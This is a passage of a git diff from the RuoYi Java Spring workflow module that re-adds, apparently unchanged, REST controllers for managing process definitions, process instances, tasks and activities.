toAjax(actProcessDefinitionService.migrationDefinition(currentProcessDefinitionId, fromProcessDefinitionId)); + } + + /** + * 流程定义转换为模型 + * + * @param processDefinitionId 流程定义id + */ + @Log(title = "流程定义管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping("/convertToModel/{processDefinitionId}") + public R convertToModel(@NotEmpty(message = "流程定义id不能为空") @PathVariable String processDefinitionId) { + return toAjax(actProcessDefinitionService.convertToModel(processDefinitionId)); + } + + /** + * 通过zip或xml部署流程定义 + * + * @param file 文件 + * @param categoryCode 分类 + */ + @Log(title = "流程定义管理", businessType = BusinessType.INSERT) + @PostMapping("/deployByFile") + public void deployByFile(@RequestParam("file") MultipartFile file, @RequestParam("categoryCode") String categoryCode) { + actProcessDefinitionService.deployByFile(file, categoryCode); + } + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActProcessInstanceController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActProcessInstanceController.java index 931b9f5..ce81379 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActProcessInstanceController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActProcessInstanceController.java @@ -1,160 +1,160 @@ -package org.dromara.workflow.controller; - -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.bo.ProcessInstanceBo; -import org.dromara.workflow.domain.bo.ProcessInvalidBo; -import org.dromara.workflow.domain.bo.TaskUrgingBo; -import org.dromara.workflow.domain.vo.ActHistoryInfoVo; -import org.dromara.workflow.domain.vo.ProcessInstanceVo; -import org.dromara.workflow.service.IActProcessInstanceService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.Arrays; -import java.util.List; -import java.util.Map; - -/** - * 流程实例管理 控制层 - * - * @author may - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/processInstance") -public class ActProcessInstanceController extends BaseController { - - private final IActProcessInstanceService actProcessInstanceService; - - /** - * 分页查询正在运行的流程实例 - * - * @param bo 参数 - */ - @GetMapping("/getPageByRunning") - public TableDataInfo getPageByRunning(ProcessInstanceBo bo, PageQuery pageQuery) { - return actProcessInstanceService.getPageByRunning(bo, pageQuery); - } - - /** - * 分页查询已结束的流程实例 - * - * @param bo 参数 - */ - @GetMapping("/getPageByFinish") - public TableDataInfo getPageByFinish(ProcessInstanceBo bo, PageQuery pageQuery) { - return actProcessInstanceService.getPageByFinish(bo, pageQuery); - } - - /** - * 通过业务id获取历史流程图 - * - * @param businessKey 业务id - */ - @GetMapping("/getHistoryImage/{businessKey}") - public R getHistoryImage(@NotBlank(message = "业务id不能为空") @PathVariable String businessKey) { - return R.ok("操作成功", actProcessInstanceService.getHistoryImage(businessKey)); - } - - /** - * 通过业务id获取历史流程图运行中,历史等节点 - * - * @param businessKey 业务id - */ - @GetMapping("/getHistoryList/{businessKey}") - public R> getHistoryList(@NotBlank(message = "业务id不能为空") @PathVariable String businessKey) { - return R.ok("操作成功", actProcessInstanceService.getHistoryList(businessKey)); - } - - /** - * 获取审批记录 - * - * @param businessKey 业务id - */ - @GetMapping("/getHistoryRecord/{businessKey}") - public R> getHistoryRecord(@NotBlank(message = "业务id不能为空") @PathVariable String businessKey) { - return R.ok(actProcessInstanceService.getHistoryRecord(businessKey)); - } - - /** - * 作废流程实例,不会删除历史记录(删除运行中的实例) - * - * @param processInvalidBo 参数 - */ - @Log(title = "流程实例管理", businessType = BusinessType.DELETE) - @RepeatSubmit() - @PostMapping("/deleteRunInstance") - public R deleteRunInstance(@Validated(AddGroup.class) @RequestBody ProcessInvalidBo processInvalidBo) { - return toAjax(actProcessInstanceService.deleteRunInstance(processInvalidBo)); - } - - /** - * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 - * - * @param businessKeys 业务id - */ - @Log(title = "流程实例管理", businessType = BusinessType.DELETE) - @RepeatSubmit() - @DeleteMapping("/deleteRunAndHisInstance/{businessKeys}") - public R deleteRunAndHisInstance(@NotNull(message = "业务id不能为空") @PathVariable String[] businessKeys) { - return toAjax(actProcessInstanceService.deleteRunAndHisInstance(Arrays.asList(businessKeys))); - } - - /** - * 已完成的实例 删除程实例,删除历史记录,删除业务与流程关联信息 - * - * @param businessKeys 业务id - */ - @Log(title = "流程实例管理", businessType = BusinessType.DELETE) - @RepeatSubmit() - @DeleteMapping("/deleteFinishAndHisInstance/{businessKeys}") - public R deleteFinishAndHisInstance(@NotNull(message = "业务id不能为空") @PathVariable String[] businessKeys) { - return toAjax(actProcessInstanceService.deleteFinishAndHisInstance(Arrays.asList(businessKeys))); - } - - /** - * 撤销流程申请 - * - * @param businessKey 业务id - */ - @Log(title = "流程实例管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/cancelProcessApply/{businessKey}") - public R cancelProcessApply(@NotBlank(message = "业务id不能为空") @PathVariable String businessKey) { - return toAjax(actProcessInstanceService.cancelProcessApply(businessKey)); - } - - /** - * 分页查询当前登录人单据 - * - * @param bo 参数 - */ - @GetMapping("/getPageByCurrent") - public TableDataInfo getPageByCurrent(ProcessInstanceBo bo, PageQuery pageQuery) { - return actProcessInstanceService.getPageByCurrent(bo, pageQuery); - } - - /** - * 任务催办(给当前任务办理人发送站内信,邮件,短信等) - * - * @param taskUrgingBo 任务催办 - */ - @Log(title = "流程实例管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/taskUrging") - public R taskUrging(@RequestBody TaskUrgingBo taskUrgingBo) { - return toAjax(actProcessInstanceService.taskUrging(taskUrgingBo)); - } - -} +package org.dromara.workflow.controller; + +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.bo.ProcessInstanceBo; +import org.dromara.workflow.domain.bo.ProcessInvalidBo; +import org.dromara.workflow.domain.bo.TaskUrgingBo; +import org.dromara.workflow.domain.vo.ActHistoryInfoVo; +import org.dromara.workflow.domain.vo.ProcessInstanceVo; +import org.dromara.workflow.service.IActProcessInstanceService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +/** + * 流程实例管理 控制层 + * + * @author may + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/processInstance") +public class ActProcessInstanceController extends BaseController { + + private final IActProcessInstanceService actProcessInstanceService; + + /** + * 分页查询正在运行的流程实例 + * + * @param bo 参数 + */ + @GetMapping("/getPageByRunning") + public TableDataInfo getPageByRunning(ProcessInstanceBo bo, PageQuery pageQuery) { + return actProcessInstanceService.getPageByRunning(bo, pageQuery); + } + + /** + * 分页查询已结束的流程实例 + * + * @param bo 参数 + */ + @GetMapping("/getPageByFinish") + public TableDataInfo getPageByFinish(ProcessInstanceBo bo, PageQuery pageQuery) { + return actProcessInstanceService.getPageByFinish(bo, pageQuery); + } + + /** + * 通过业务id获取历史流程图 + * + * @param businessKey 业务id + */ + @GetMapping("/getHistoryImage/{businessKey}") + public R getHistoryImage(@NotBlank(message = "业务id不能为空") @PathVariable String businessKey) { + return R.ok("操作成功", actProcessInstanceService.getHistoryImage(businessKey)); + } + + /** + * 通过业务id获取历史流程图运行中,历史等节点 + * + * @param businessKey 业务id + */ + @GetMapping("/getHistoryList/{businessKey}") + public R> getHistoryList(@NotBlank(message = "业务id不能为空") @PathVariable String businessKey) { + return R.ok("操作成功", actProcessInstanceService.getHistoryList(businessKey)); + } + + /** + * 获取审批记录 + * + * @param businessKey 业务id + */ + @GetMapping("/getHistoryRecord/{businessKey}") + public R> getHistoryRecord(@NotBlank(message = "业务id不能为空") @PathVariable String businessKey) { + return R.ok(actProcessInstanceService.getHistoryRecord(businessKey)); + } + + /** + * 作废流程实例,不会删除历史记录(删除运行中的实例) + * + * @param processInvalidBo 参数 + */ + @Log(title = "流程实例管理", businessType = BusinessType.DELETE) + @RepeatSubmit() + @PostMapping("/deleteRunInstance") + public R deleteRunInstance(@Validated(AddGroup.class) @RequestBody ProcessInvalidBo processInvalidBo) { + return toAjax(actProcessInstanceService.deleteRunInstance(processInvalidBo)); + } + + /** + * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 + * + * @param businessKeys 业务id + */ + @Log(title = "流程实例管理", businessType = BusinessType.DELETE) + @RepeatSubmit() + @DeleteMapping("/deleteRunAndHisInstance/{businessKeys}") + public R deleteRunAndHisInstance(@NotNull(message = "业务id不能为空") @PathVariable String[] businessKeys) { + return toAjax(actProcessInstanceService.deleteRunAndHisInstance(Arrays.asList(businessKeys))); + } + + /** + * 已完成的实例 删除程实例,删除历史记录,删除业务与流程关联信息 + * + * @param businessKeys 业务id + */ + @Log(title = "流程实例管理", businessType = BusinessType.DELETE) + @RepeatSubmit() + @DeleteMapping("/deleteFinishAndHisInstance/{businessKeys}") + public R deleteFinishAndHisInstance(@NotNull(message = "业务id不能为空") @PathVariable String[] businessKeys) { + return toAjax(actProcessInstanceService.deleteFinishAndHisInstance(Arrays.asList(businessKeys))); + } + + /** + * 撤销流程申请 + * + * @param businessKey 业务id + */ + @Log(title = "流程实例管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/cancelProcessApply/{businessKey}") + public R cancelProcessApply(@NotBlank(message = "业务id不能为空") @PathVariable String businessKey) { + return toAjax(actProcessInstanceService.cancelProcessApply(businessKey)); + } + + /** + * 分页查询当前登录人单据 + * + * @param bo 参数 + */ + @GetMapping("/getPageByCurrent") + public TableDataInfo getPageByCurrent(ProcessInstanceBo bo, PageQuery pageQuery) { + return actProcessInstanceService.getPageByCurrent(bo, pageQuery); + } + + /** + * 任务催办(给当前任务办理人发送站内信,邮件,短信等) + * + * @param taskUrgingBo 任务催办 + */ + @Log(title = "流程实例管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/taskUrging") + public R taskUrging(@RequestBody TaskUrgingBo taskUrgingBo) { + return toAjax(actProcessInstanceService.taskUrging(taskUrgingBo)); + } + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActTaskController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActTaskController.java index 25724b6..3ebe275 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActTaskController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/ActTaskController.java @@ -1,295 +1,295 @@ -package org.dromara.workflow.controller; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import jakarta.validation.constraints.NotBlank; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.WfTaskBackNode; -import org.dromara.workflow.domain.bo.*; -import org.dromara.workflow.domain.vo.TaskVo; -import org.dromara.workflow.domain.vo.VariableVo; -import org.dromara.workflow.service.IActTaskService; -import org.dromara.workflow.service.IWfTaskBackNodeService; -import org.dromara.workflow.utils.QueryUtils; -import org.flowable.engine.TaskService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; -import java.util.Map; - -/** - * 任务管理 控制层 - * - * @author may - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/task") -public class ActTaskController extends BaseController { - - @Autowired(required = false) - private TaskService taskService; - private final IActTaskService actTaskService; - private final IWfTaskBackNodeService wfTaskBackNodeService; - - - /** - * 启动任务 - * - * @param startProcessBo 启动流程参数 - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/startWorkFlow") - public R> startWorkFlow(@Validated(AddGroup.class) @RequestBody StartProcessBo startProcessBo) { - Map map = actTaskService.startWorkFlow(startProcessBo); - return R.ok("提交成功", map); - } - - /** - * 办理任务 - * - * @param completeTaskBo 办理任务参数 - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/completeTask") - public R completeTask(@Validated(AddGroup.class) @RequestBody CompleteTaskBo completeTaskBo) { - return toAjax(actTaskService.completeTask(completeTaskBo)); - } - - /** - * 查询当前用户的待办任务 - * - * @param taskBo 参数 - */ - @GetMapping("/getPageByTaskWait") - public TableDataInfo getPageByTaskWait(TaskBo taskBo, PageQuery pageQuery) { - return actTaskService.getPageByTaskWait(taskBo, pageQuery); - } - - /** - * 查询当前租户所有待办任务 - * - * @param taskBo 参数 - */ - @GetMapping("/getPageByAllTaskWait") - public TableDataInfo getPageByAllTaskWait(TaskBo taskBo, PageQuery pageQuery) { - return actTaskService.getPageByAllTaskWait(taskBo, pageQuery); - } - - /** - * 查询当前用户的已办任务 - * - * @param taskBo 参数 - */ - @GetMapping("/getPageByTaskFinish") - public TableDataInfo getPageByTaskFinish(TaskBo taskBo, PageQuery pageQuery) { - return actTaskService.getPageByTaskFinish(taskBo, pageQuery); - } - - /** - * 查询当前用户的抄送 - * - * @param taskBo 参数 - */ - @GetMapping("/getPageByTaskCopy") - public TableDataInfo getPageByTaskCopy(TaskBo taskBo, PageQuery pageQuery) { - return actTaskService.getPageByTaskCopy(taskBo, pageQuery); - } - - /** - * 查询当前租户所有已办任务 - * - * @param taskBo 参数 - */ - @GetMapping("/getPageByAllTaskFinish") - public TableDataInfo getPageByAllTaskFinish(TaskBo taskBo, PageQuery pageQuery) { - return actTaskService.getPageByAllTaskFinish(taskBo, pageQuery); - } - - /** - * 签收(拾取)任务 - * - * @param taskId 任务id - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/claim/{taskId}") - public R claimTask(@NotBlank(message = "任务id不能为空") @PathVariable String taskId) { - try { - taskService.claim(taskId, Convert.toStr(LoginHelper.getUserId())); - return R.ok(); - } catch (Exception e) { - e.printStackTrace(); - return R.fail("签收任务失败:" + e.getMessage()); - } - } - - /** - * 归还(拾取的)任务 - * - * @param taskId 任务id - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/returnTask/{taskId}") - public R returnTask(@NotBlank(message = "任务id不能为空") @PathVariable String taskId) { - try { - taskService.setAssignee(taskId, null); - return R.ok(); - } catch (Exception e) { - e.printStackTrace(); - return R.fail("归还任务失败:" + e.getMessage()); - } - } - - /** - * 委派任务 - * - * @param delegateBo 参数 - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/delegateTask") - public R delegateTask(@Validated({AddGroup.class}) @RequestBody DelegateBo delegateBo) { - return toAjax(actTaskService.delegateTask(delegateBo)); - } - - /** - * 终止任务 - * - * @param terminationBo 参数 - */ - @Log(title = "任务管理", businessType = BusinessType.DELETE) - @RepeatSubmit() - @PostMapping("/terminationTask") - public R terminationTask(@RequestBody TerminationBo terminationBo) { - return toAjax(actTaskService.terminationTask(terminationBo)); - } - - /** - * 转办任务 - * - * @param transmitBo 参数 - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/transferTask") - public R transferTask(@Validated({AddGroup.class}) @RequestBody TransmitBo transmitBo) { - return toAjax(actTaskService.transferTask(transmitBo)); - } - - /** - * 会签任务加签 - * - * @param addMultiBo 参数 - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/addMultiInstanceExecution") - public R addMultiInstanceExecution(@Validated({AddGroup.class}) @RequestBody AddMultiBo addMultiBo) { - return toAjax(actTaskService.addMultiInstanceExecution(addMultiBo)); - } - - /** - * 会签任务减签 - * - * @param deleteMultiBo 参数 - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/deleteMultiInstanceExecution") - public R deleteMultiInstanceExecution(@Validated({AddGroup.class}) @RequestBody DeleteMultiBo deleteMultiBo) { - return toAjax(actTaskService.deleteMultiInstanceExecution(deleteMultiBo)); - } - - /** - * 驳回审批 - * - * @param backProcessBo 参数 - */ - @Log(title = "任务管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/backProcess") - public R backProcess(@Validated({AddGroup.class}) @RequestBody BackProcessBo backProcessBo) { - return R.ok("操作成功", actTaskService.backProcess(backProcessBo)); - } - - /** - * 获取当前任务 - * - * @param taskId 任务id - */ - @GetMapping("/getTaskById/{taskId}") - public R getTaskById(@PathVariable String taskId) { - return R.ok(QueryUtils.getTask(taskId)); - } - - - /** - * 修改任务办理人 - * - * @param taskIds 任务id - * @param userId 办理人id - */ - @Log(title = "任务管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping("/updateAssignee/{taskIds}/{userId}") - public R updateAssignee(@PathVariable String[] taskIds, @PathVariable String userId) { - return toAjax(actTaskService.updateAssignee(taskIds, userId)); - } - - /** - * 查询流程变量 - * - * @param taskId 任务id - */ - @GetMapping("/getInstanceVariable/{taskId}") - public R> getProcessInstVariable(@PathVariable String taskId) { - return R.ok(actTaskService.getInstanceVariable(taskId)); - } - - /** - * 获取可驳回得任务节点 - * - * @param processInstanceId 流程实例id - */ - @GetMapping("/getTaskNodeList/{processInstanceId}") - public R> getNodeList(@PathVariable String processInstanceId) { - return R.ok(CollUtil.reverse(wfTaskBackNodeService.getListByInstanceId(processInstanceId))); - } - - /** - * 查询工作流任务用户选择加签人员 - * - * @param taskId 任务id - */ - @GetMapping("/getTaskUserIdsByAddMultiInstance/{taskId}") - public R getTaskUserIdsByAddMultiInstance(@PathVariable String taskId) { - return R.ok("操作成功", actTaskService.getTaskUserIdsByAddMultiInstance(taskId)); - } - - /** - * 查询工作流选择减签人员 - * - * @param taskId 任务id - */ - @GetMapping("/getListByDeleteMultiInstance/{taskId}") - public R> getListByDeleteMultiInstance(@PathVariable String taskId) { - return R.ok(actTaskService.getListByDeleteMultiInstance(taskId)); - } - -} +package org.dromara.workflow.controller; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import jakarta.validation.constraints.NotBlank; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.WfTaskBackNode; +import org.dromara.workflow.domain.bo.*; +import org.dromara.workflow.domain.vo.TaskVo; +import org.dromara.workflow.domain.vo.VariableVo; +import org.dromara.workflow.service.IActTaskService; +import org.dromara.workflow.service.IWfTaskBackNodeService; +import org.dromara.workflow.utils.QueryUtils; +import org.flowable.engine.TaskService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; +import java.util.Map; + +/** + * 任务管理 控制层 + * + * @author may + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/task") +public class ActTaskController extends BaseController { + + @Autowired(required = false) + private TaskService taskService; + private final IActTaskService actTaskService; + private final IWfTaskBackNodeService wfTaskBackNodeService; + + + /** + * 启动任务 + * + * @param startProcessBo 启动流程参数 + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/startWorkFlow") + public R> startWorkFlow(@Validated(AddGroup.class) @RequestBody StartProcessBo startProcessBo) { + Map map = actTaskService.startWorkFlow(startProcessBo); + return R.ok("提交成功", map); + } + + /** + * 办理任务 + * + * @param completeTaskBo 办理任务参数 + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/completeTask") + public R completeTask(@Validated(AddGroup.class) @RequestBody CompleteTaskBo completeTaskBo) { + return toAjax(actTaskService.completeTask(completeTaskBo)); + } + + /** + * 查询当前用户的待办任务 + * + * @param taskBo 参数 + */ + @GetMapping("/getPageByTaskWait") + public TableDataInfo getPageByTaskWait(TaskBo taskBo, PageQuery pageQuery) { + return actTaskService.getPageByTaskWait(taskBo, pageQuery); + } + + /** + * 查询当前租户所有待办任务 + * + * @param taskBo 参数 + */ + @GetMapping("/getPageByAllTaskWait") + public TableDataInfo getPageByAllTaskWait(TaskBo taskBo, PageQuery pageQuery) { + return actTaskService.getPageByAllTaskWait(taskBo, pageQuery); + } + + /** + * 查询当前用户的已办任务 + * + * @param taskBo 参数 + */ + @GetMapping("/getPageByTaskFinish") + public TableDataInfo getPageByTaskFinish(TaskBo taskBo, PageQuery pageQuery) { + return actTaskService.getPageByTaskFinish(taskBo, pageQuery); + } + + /** + * 查询当前用户的抄送 + * + * @param taskBo 参数 + */ + @GetMapping("/getPageByTaskCopy") + public TableDataInfo getPageByTaskCopy(TaskBo taskBo, PageQuery pageQuery) { + return actTaskService.getPageByTaskCopy(taskBo, pageQuery); + } + + /** + * 查询当前租户所有已办任务 + * + * @param taskBo 参数 + */ + @GetMapping("/getPageByAllTaskFinish") + public TableDataInfo getPageByAllTaskFinish(TaskBo taskBo, PageQuery pageQuery) { + return actTaskService.getPageByAllTaskFinish(taskBo, pageQuery); + } + + /** + * 签收(拾取)任务 + * + * @param taskId 任务id + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/claim/{taskId}") + public R claimTask(@NotBlank(message = "任务id不能为空") @PathVariable String taskId) { + try { + taskService.claim(taskId, Convert.toStr(LoginHelper.getUserId())); + return R.ok(); + } catch (Exception e) { + e.printStackTrace(); + return R.fail("签收任务失败:" + e.getMessage()); + } + } + + /** + * 归还(拾取的)任务 + * + * @param taskId 任务id + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/returnTask/{taskId}") + public R returnTask(@NotBlank(message = "任务id不能为空") @PathVariable String taskId) { + try { + taskService.setAssignee(taskId, null); + return R.ok(); + } catch (Exception e) { + e.printStackTrace(); + return R.fail("归还任务失败:" + e.getMessage()); + } + } + + /** + * 委派任务 + * + * @param delegateBo 参数 + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/delegateTask") + public R delegateTask(@Validated({AddGroup.class}) @RequestBody DelegateBo delegateBo) { + return toAjax(actTaskService.delegateTask(delegateBo)); + } + + /** + * 终止任务 + * + * @param terminationBo 参数 + */ + @Log(title = "任务管理", businessType = BusinessType.DELETE) + @RepeatSubmit() + @PostMapping("/terminationTask") + public R terminationTask(@RequestBody TerminationBo terminationBo) { + return toAjax(actTaskService.terminationTask(terminationBo)); + } + + /** + * 转办任务 + * + * @param transmitBo 参数 + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/transferTask") + public R transferTask(@Validated({AddGroup.class}) @RequestBody TransmitBo transmitBo) { + return toAjax(actTaskService.transferTask(transmitBo)); + } + + /** + * 会签任务加签 + * + * @param addMultiBo 参数 + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/addMultiInstanceExecution") + public R addMultiInstanceExecution(@Validated({AddGroup.class}) @RequestBody AddMultiBo addMultiBo) { + return toAjax(actTaskService.addMultiInstanceExecution(addMultiBo)); + } + + /** + * 会签任务减签 + * + * @param deleteMultiBo 参数 + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/deleteMultiInstanceExecution") + public R deleteMultiInstanceExecution(@Validated({AddGroup.class}) @RequestBody DeleteMultiBo deleteMultiBo) { + return toAjax(actTaskService.deleteMultiInstanceExecution(deleteMultiBo)); + } + + /** + * 驳回审批 + * + * @param backProcessBo 参数 + */ + @Log(title = "任务管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/backProcess") + public R backProcess(@Validated({AddGroup.class}) @RequestBody BackProcessBo backProcessBo) { + return R.ok("操作成功", actTaskService.backProcess(backProcessBo)); + } + + /** + * 获取当前任务 + * + * @param taskId 任务id + */ + @GetMapping("/getTaskById/{taskId}") + public R getTaskById(@PathVariable String taskId) { + return R.ok(QueryUtils.getTask(taskId)); + } + + + /** + * 修改任务办理人 + * + * @param taskIds 任务id + * @param userId 办理人id + */ + @Log(title = "任务管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping("/updateAssignee/{taskIds}/{userId}") + public R updateAssignee(@PathVariable String[] taskIds, @PathVariable String userId) { + return toAjax(actTaskService.updateAssignee(taskIds, userId)); + } + + /** + * 查询流程变量 + * + * @param taskId 任务id + */ + @GetMapping("/getInstanceVariable/{taskId}") + public R> getProcessInstVariable(@PathVariable String taskId) { + return R.ok(actTaskService.getInstanceVariable(taskId)); + } + + /** + * 获取可驳回得任务节点 + * + * @param processInstanceId 流程实例id + */ + @GetMapping("/getTaskNodeList/{processInstanceId}") + public R> getNodeList(@PathVariable String processInstanceId) { + return R.ok(CollUtil.reverse(wfTaskBackNodeService.getListByInstanceId(processInstanceId))); + } + + /** + * 查询工作流任务用户选择加签人员 + * + * @param taskId 任务id + */ + @GetMapping("/getTaskUserIdsByAddMultiInstance/{taskId}") + public R getTaskUserIdsByAddMultiInstance(@PathVariable String taskId) { + return R.ok("操作成功", actTaskService.getTaskUserIdsByAddMultiInstance(taskId)); + } + + /** + * 查询工作流选择减签人员 + * + * @param taskId 任务id + */ + @GetMapping("/getListByDeleteMultiInstance/{taskId}") + public R> getListByDeleteMultiInstance(@PathVariable String taskId) { + return R.ok(actTaskService.getListByDeleteMultiInstance(taskId)); + } + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/TActivityController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/TActivityController.java index 6f5e455..d19f041 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/TActivityController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/TActivityController.java @@ -1,106 +1,106 @@ -package org.dromara.workflow.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.bo.TActivityBo; -import org.dromara.workflow.domain.vo.TActivityVo; -import org.dromara.workflow.service.ITActivityService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 活动 - * - * @author Lion Li - * @date 2024-07-19 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/activity") -public class TActivityController extends BaseController { - - private final ITActivityService tActivityService; - - /** - * 查询活动列表 - */ - @SaCheckPermission("workflow:activity:list") - @GetMapping("/list") - public TableDataInfo list(TActivityBo bo, PageQuery pageQuery) { - return tActivityService.queryPageList(bo, pageQuery); - } - - /** - * 导出活动列表 - */ - @SaCheckPermission("workflow:activity:export") - @Log(title = "活动", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TActivityBo bo, HttpServletResponse response) { - List list = tActivityService.queryList(bo); - ExcelUtil.exportExcel(list, "活动", TActivityVo.class, response); - } - - /** - * 获取活动详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("workflow:activity:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tActivityService.queryById(id)); - } - - /** - * 新增活动 - */ - @SaCheckPermission("workflow:activity:add") - @Log(title = "活动", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TActivityBo bo) { - return toAjax(tActivityService.insertByBo(bo)); - } - - /** - * 修改活动 - */ - @SaCheckPermission("workflow:activity:edit") - @Log(title = "活动", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TActivityBo bo) { - return toAjax(tActivityService.updateByBo(bo)); - } - - /** 